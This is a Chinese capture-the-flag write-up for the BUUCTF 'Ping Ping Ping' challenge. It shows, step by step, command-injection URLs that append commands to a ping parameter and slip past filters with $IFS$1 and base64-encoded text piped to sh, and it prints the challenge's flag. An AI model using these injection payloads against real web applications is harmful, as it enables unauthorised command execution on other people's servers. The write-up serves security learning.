BUU-[GXYCTF2019]Ping Ping Ping

发布于:2024-05-12 ⋅ 阅读:(179) ⋅ 点赞:(0)

考察点

命令执行

题目

在这里插入图片描述

image.png

解题

简单测试

?ip应该是一个提示,那么就测试一下?ip=127.0.0.1

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1

发现正常回显
image.png

列出文件

那么猜测一下可能会有命令执行漏洞,测试?ip=127.0.0.1;ls

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;ls

image.png
发现有flag.php文件和index.php文件

查看flag.php文件

?ip=127.0.0.1;cat flag.php

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat%20flag.php

发现回显不是flag值,估计是被过滤了
在这里插入图片描述

猜测可能是空格被过滤了,尝试用 I F S {IFS} IFS 进行代替

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$flag.php

image.png

发现也得不到flag值,猜测可能还过滤了{},那么使用 ${IFS}$1 进行代替

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$1flag.php

依旧没有得到flag值
image.png

查看index.php

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$1index.php

在这里插入图片描述

这下过滤了啥就一目了然了
flag字眼过滤了,bash也没了,不过sh没过滤
在这里插入图片描述

先对cat flag.php进行base64编码得到:Y2F0IGZsYWcucGhw

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

echo        是打印
$IFS$1      是空格
Y2F0IGZsYWcucGhw        是cat flag.php的base编码
|           是管道符
base64$IFS$1-d      是base64 -d的意思,就是对Y2F0IGZsYWcucGhw进行base64解密
sh          是执行传递过来的cat flag.php命令

查看返回页面的源码可以得到flag
image.png

flag{19795c98-007a-46f5-a449-5f6ae6410dd5}

image.png

总结

命令执行各种绕过总结:

https://blog.csdn.net/m0_64815693/article/details/127268809

https://blog.csdn.net/Thunderclap_/article/details/129178221

image.png
image.png

echo${IFS}Y2F0IDEudHh0|base64${IFS}-d|sh

image.png


网站公告

今日签到

点亮在社区的每一天
去签到